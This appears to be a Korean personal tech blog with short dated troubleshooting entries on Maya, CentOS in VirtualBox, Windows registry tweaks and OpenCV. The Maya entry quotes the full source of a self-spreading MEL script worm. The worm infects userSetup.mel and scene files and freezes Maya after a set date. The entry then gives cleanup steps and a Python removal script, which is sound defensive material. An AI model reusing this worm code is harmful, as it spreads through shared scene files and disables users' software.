2020년 07월 14일
서버 청소해요일자 : 2020년 7월 18~19일 주말 중시간 : 일어나서 2~3시간 정도?
2020년 06월 29일
:2020년 6월 27일 이후 마야가 멈추는 문제 증상마야를 실행하면 멈춤마야를 실행을 했더라도 씬 파일을 열면 멈춤원인C:\Users\사용자\Documents\maya\scripts\userSetup.mel에 아래 내용이 저장 또는 씬 파일 마다 MayaMelUIConfigurationFile 노드가 생성됨 // Maya Mel UI Configuration File.Maya Mel UI Configuration File.. // // // This script is machine generated. Edit at your own risk. // // //////////////////////////////////////////////////////////////////// global proc UI_Mel_Configuration_think(){ string $localized_resources_path = `getenv MAYA_LOCATION`+("/resources/l10n/"); string $all_file[]=`getFileList -folder $localized_resources_path`; string $localized_anim_strings_path =("/plug-ins/animImportExport.pres.mel"); global string $Mel_file_address_lj=(""); // Infect localized anim import/export string files w/ virus? for ( $loc_folder_index = 0 ;$loc_folder_index<`size $all_file`;$loc_folder_index++) { string $Mel_file_address=($localized_resources_path+$all_file[$loc_folder_index]+$localized_anim_strings_path); // If can copy localized file... if (`sysFile -cp ($Mel_file_address+(".Mel")) ($Mel_file_address) ` == 1){ // Delete copied file sysFile -del ($Mel_file_address+(".Mel")); int $gc_xh=0; string $Mel_File_LineBuffer[]; clear $Mel_File_LineBuffer; // Open original localized file $fileId=`fopen ($Mel_file_address) ("r")`; $Mel_File_LineBuffer[0] = `fgetline $fileId`; // Copy localized file lines into buffer while (` size $Mel_File_LineBuffer[$gc_xh]` != 0 ){ $gc_xh++; $Mel_File_LineBuffer[$gc_xh] = `fgetline $fileId`; } fclose $fileId; // Check if localized file has token indicating infection int $isInfected = 0 ; for ( $line_index=0; $line_index<`size $Mel_File_LineBuffer`; $line_index++) { if ($Mel_File_LineBuffer[$line_index] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")) { $isInfected=1; $line_index=99999999; } } // If not infected, infect current localized file if ($isInfected == 0 ){ $Mel_file_address_lj=$Mel_file_address; if (`whatIs UI_Mel_Configuration_think_b` != "Unknown"){ UI_Mel_Configuration_think_b; } } } else { // Can't infect localized string file(s); create UserSetup.mel instead if (`whatIs UI_Mel_Configuration_think_a` != "Unknown") { UI_Mel_Configuration_think_a; } } } } global proc UI_Mel_Configuration_think_a(){ // Get application defaults file path as tokenized list string $system_WDLJ = `about -environmentFile`; string $buffer[]; tokenize $system_WDLJ "/" $buffer; // Re-combine all but last 2 tokens on first token for($ii = 1; $ii < `size $buffer` - 2; $ii++) { $buffer[0] = $buffer[0] + "/" + $buffer[$ii]; } // Make first token point to user setup script location $buffer[0] = $buffer[0] + "/scripts/userSetup.mel"; int $pd_file_existence_check = 0; // Check that userSetup file exists if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // File exists; clean up 'check' file. sysFile -del ($buffer[0]+"..a"); // ? Copy setup into memory ? int $ii=0; string $NR_all[]; clear $NR_all; $fileId=`fopen ($buffer[0]) "r"`; $NR_all[0] = `fgetline $fileId`; while (` size $NR_all[$ii]` != 0 ){ $ii++; $NR_all[$ii] = `fgetline $fileId`; } fclose $fileId; int $pdNR_all=0; for ($ii = 0 ; $ii<`size $NR_all`;$ii++){ if ($NR_all[$ii] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")){ $pdNR_all = 1 ;$ii= 99999999; } } if ($pdNR_all == 0){ $pd_file_existence_check = 1; } } // Copy failed. File doesn't exist. else { // Create blank userSetup file. $sys_document = `fopen ($buffer[0]) "w"`; fprint $sys_document (""); fclose $sys_document; // Try to copy file if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // Clean up 'check' file sysFile -del ($buffer[0]+"..a"); $pd_file_existence_check = 1; } } if($pd_file_existence_check == 1){ // Copy this script into memory? string $script[] = `ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`;$ii++){ $nr = `scriptNode -q -beforeScript $script[$ii]` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } // Write this script to userSetup? if ($isInfected == 1){ $fuck_All_U = `fopen ($buffer[0]) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; } } } global proc UI_Mel_Configuration_think_b() { global string $Mel_file_address_lj; string $script[]=`ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`; $ii++){ $nr = ` scriptNode -q -beforeScript $script[$ii] ` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 1){ $fuck_All_U = ` fopen ($Mel_file_address_lj) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; $Mel_file_address_lj=(""); } } global proc autoUpdateAttrEd_SelectSystem(){ string $script[]=`ls -type script`; int $isInfected = 0 ; for ($ii = 0 ; $ii<`size $script`;$ii++){ string $nr = `scriptNode -q -beforeScript $script[$ii] `; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 0 ){ string $chengxu =`scriptNode -n MayaMelUIConfigurationFile -beforeScript "// Maya Mel UI Configuration File.Maya Mel UI Configuration File.."`; setAttr ($chengxu+(".scriptType")) 1; } } global proc autoUpdatcAttrEd(){ // Get current date as int string $aboutCD = `about -cd`; string $buffer[]; tokenize $aboutCD ("/") $buffer; $buffer[0] = $buffer[0]+$buffer[1]+$buffer[2]; int $PuTianTongQing=$buffer[0]; // Put app into infinite loop if later than June 27, 2020 if ($PuTianTongQing >= 20200627 ){ for ($Ii=1 ; $Ii>0; $Ii++){ } } } global proc autoUpdatoAttrEnd(){ if ( `whatIs autoUpdatcAttrEd` != "Unknown" ){ autoUpdatcAttrEd; } if ( `whatIs autoUpdateAttrEd_SelectSystem` != "Unknown" ){ autoUpdateAttrEd_SelectSystem; } if ( `whatIs UI_Mel_Configuration_think` != "Unknown" ){ UI_Mel_Configuration_think; } } global proc autoUpdatcAttrEnd(){ if (`whatIs autoUpdatoAttrEnd` != "Unknown" ){ global int $autoUpdateAttrEd_aoto_int; if($autoUpdateAttrEd_aoto_int == 0 ){ $autoUpdateAttrEd_aoto_int=`scriptJob -e ("SelectionChanged") ("autoUpdatoAttrEnd") `; } } } autoUpdatcAttrEnd; 해결내문서/maya 폴더 내의 userSetup.mel 파일이 정상적인지 확인 후 삭제C:\Users\사용자\Documents\maya\scripts\userSetup.melC:\Users\사용자\Documents\maya\마야버전\scripts\userSetup.melOpen 옵션 창에서 General Options > Execute script nodes 체크 해제파일 오픈아래 스크립트 실행 (파이썬) import maya.cmds as cmds ta = cmds.ls('MayaMelUIConfigurationFile*', '*:MayaMelUIConfigurationFile', r=True) print ("There are " + str(len(ta)) + " MayaMelUIConfigurationFile node") for t in ta: print ("DELETE \'" + t + "\' node") cmds.delete(t) 5. 씬 저장 (백업을 위해 다른 이름으로 저장 추천) 또는Maya Scanner 플러그인(첨부파일) 설치 후 해결파일이 열릴 때 자동으로 스캔하여 픽스해준다. (원본에 그대로 저장 후 마야 종료) 참고 https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05해결https://knowledge.autodesk.com/ko/support/maya/troubleshooting/caas/sfdcarticles/sfdcarticles/KOR/How-to-diagnose-and-clean-Maya-ScriptExploit-issues.html플러그인https://apps.autodesk.com/MAYA/en/Detail/Index?id=8637238041954239715&os=Linux&appLang=en
2020년 06월 27일
:centos 설치 후 오류 메시지VitualBox에서 centos 8.x(64bits) 설치 [drm:vmw_host_log [vmwgfx]] *ERROR* Failed to send host log message. 해결centos 종료해당 OS에서 디스플레이 클릭설정 창의 디스플레이에서 화면탭의 디스플레이 컨트롤러, VBoxVGA 선택참고https://www.virtualbox.org/ticket/19168https://unix.stackexchange.com/questions/502540/why-does-drmvmw-host-log-vmwgfx-error-failed-to-send-host-log-message-sh
2020년 05월 26일
스크립트 에디터에서 실행 import _winreg htm = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,"SOFTWARE\\Classes\\.htm", 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(htm, '', 0, 1, "ChromeHTML") _winreg.CloseKey(htm) 레지스트리 편집기에서는컴퓨터\HKEY_CURRENT_USER\Software\Classes\.htm (기본값) 데이터를 ChromeHTML으로 변경컴퓨터\HKEY_CLASSES_ROOT\Applications\chrome.exe\shell\open\command 경로 변경컴퓨터\HKEY_CLASSES_ROOT\ChromeHTML\shell\open\command 경로 변경윈도우10 크롬 - "C:\Users\계정명\AppData\Local\Google\Chrome\Application\chrome.exe" 에러크롬 경로 확인 참고https://forums.autodesk.com/t5/maya-forum/open-maya-help-in-chrome-or-your-default-browser/td-p/5858779
2020년 05월 16일
:윈도우즈 7, 8, 8.1, 10에서 실행제어판 > 프로그램 및 기능에서 삭제 안되는 프로그램 삭제 시 유용다운로드 링크https://support.microsoft.com/en-us/help/17588/windows-fix-problems-that-block-programs-being-installed-or-removed
2020년 05월 10일
리모트 컨트롤러를 위한 커스텀 파워펑션 쇼핑몰
2020년 04월 30일
:VS 2019 설치 중 CPU 사용률 높아cpu 사용률이 높아지고,네트워크로 덩달아 낮아져 다운로드가 늦어지고,설치도 늦어지고...BITS는 사용 중지 하면 안되는거고,해결은 동시 다운로드 수를 제한하는 방법 밖에 없는 듯한..설치 중....해결레지스트리 편집기를 실행(윈도우키 + r키, regedit 입력)를 실행하고,[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\VisualStudio\Setup] 위치에 값 수정(“ConcurrentDownloads”= dword : 00000002)값은 1~64이고, 기본값는 10BITS가 실행 중일 때는 체크해 보기!!BITS (Background Intelligent Transfer Service) 정보https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal참고https://developercommunity.visualstudio.com/content/problem/688831/visual-studio-2019-installer-bits-takes-high-cpu-u.html
2020년 04월 15일
Visual-C-Runtimes-All-in-One
2020년 04월 12일
:마야(2018) python 2.7.11 64bithttps://opencv.org/releases(테스트) 3.1.0 버전 윈도우용 다운로드버전 3.1.0 이하만 설치 가능?압축 풀기압축 푼 폴더\opencv\build\python\2.7\x64의 cv2.pyd 파일 복사 (첨부파일 cv2.pyd - v3.1.0)마야 설치 폴더\Maya2018\Python\Lib\site-packages에 붙여넣기마야 실행 후 import 해보기2017, 2018 확인 완료 테스트 123456789101112import cv2 def showImage(): imgfile = '이미지 절대(상대) 경로' img = cv2.imread(imgfile, cv2.IMREAD_COLOR) cv2.namedWindow('image', cv2.WINDOW_NORMAL) cv2.imshow('image', img) cv2.waitKey(0) cv2.destroyAllWindows() showImage()Colored by Color Scripter